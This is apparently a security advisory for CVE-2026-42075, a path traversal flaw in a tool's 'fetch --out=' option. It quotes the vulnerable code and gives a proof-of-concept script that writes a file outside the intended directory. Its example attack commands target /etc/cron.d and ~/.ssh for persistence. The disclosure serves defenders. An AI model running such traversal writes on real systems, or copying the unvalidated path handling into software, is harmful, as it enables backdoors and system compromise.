CVE-2026-42075

Description

### Summary A path traversal vulnerability in the skill download (`fetch`) command allows attackers to write files to arbitrary locations on the filesystem. The `--out=` flag accepts user-provided paths without validation, enabling directory traversal attacks that can overwrite critical system files or create files in sensitive locations. ### Details The vulnerability exists in `index.js` at lines 752-767: ```javascript // index.js:751-768 const outFlag = args.find(a => typeof a === 'string' && a.startsWith('--out=')); const safeId = String(data.skill_id || skillId).replace(/[^a-zA-Z0-9_\-\.]/g, '_'); // VULNERABLE: No path validation on user input const outDir = outFlag ? outFlag.slice('--out='.length) // User-controlled path : path.join('.', 'skills', safeId); if (!fs.existsSync(outDir)) fs.mkdirSync(outDir, { recursive: true }); // ... downloads skill files to outDir ``` The `outFlag.slice('--out='.length)` extracts the user-provided path without any sanitization or validation. An attacker can provide paths like `../../../etc/cron.d` to write files outside the intended directory. Note: The `safeId` variable is sanitized via inline replacement (`replace(/[^a-zA-Z0-9_\-\.]/g, '_')`), but this sanitization only applies to the default path, not to the user-provided `--out=` path. ### PoC **Prerequisites:** - Node.js installed - Access to the evolver application **Steps to reproduce:** 1. Create a test file demonstrating the vulnerability: ```javascript // test-file-write.js const fs = require('fs'); const path = require('path'); // Simulate the vulnerable fetchSkill logic function vulnerableFetchSkill(outFlag) { const outDir = outFlag ? outFlag.slice('--out='.length) // No validation! : path.join('.', 'skills', 'default'); console.log('Target directory:', outDir); console.log('Resolved path:', path.resolve(outDir)); // In real code, this would write skill files const targetFile = path.join(outDir, 'skill.js'); console.log('Would write to:', targetFile); return { outDir, targetFile }; } // Test cases console.log('=== Test 1: Normal path ==='); vulnerableFetchSkill('--out=./my-skills/test'); console.log('\n=== Test 2: Path traversal ==='); const result = vulnerableFetchSkill('--out=../../../tmp/evolver-test'); // Actually demonstrate the vulnerability console.log('\n=== Creating directory to prove traversal works ==='); try { if (!fs.existsSync(result.outDir)) { fs.mkdirSync(result.outDir, { recursive: true }); } fs.writeFileSync( path.join(result.outDir, 'poc.txt'), 'Path traversal successful!\nThis file was written outside the intended directory.' ); console.log('SUCCESS: File written to:', path.resolve(result.targetFile)); } catch (e) { console.log('Error:', e.message); } ``` 2. Run the test: ```bash node test-file-write.js ``` **Expected output:** ``` === Test 2: Path traversal === Target directory: ../../../tmp/evolver-test Resolved path: /tmp/evolver-test Would write to: ../../../tmp/evolver-test/skill.js === Creating directory to prove traversal works === SUCCESS: File written to: /tmp/evolver-test/poc.txt ``` **Actual exploit scenario:** An attacker can run: ```bash # Write to system cron directory (requires appropriate permissions) node index.js fetch malicious-skill --out=../../../etc/cron.d # Or overwrite existing files node index.js fetch existing-skill --out=../../../home/user/.ssh ``` ### Impact This is an **Arbitrary File Write** vulnerability that can lead to: - Overwriting critical system files - Installing persistent backdoors (e.g., in cron directories) - Modifying SSH authorized_keys - Overwriting application code or configuration files - Privilege escalation if the process runs with elevated privileges **Affected users:** Anyone using the `fetch` command with the `--out=` flag, especially in automated environments or CI/CD pipelines.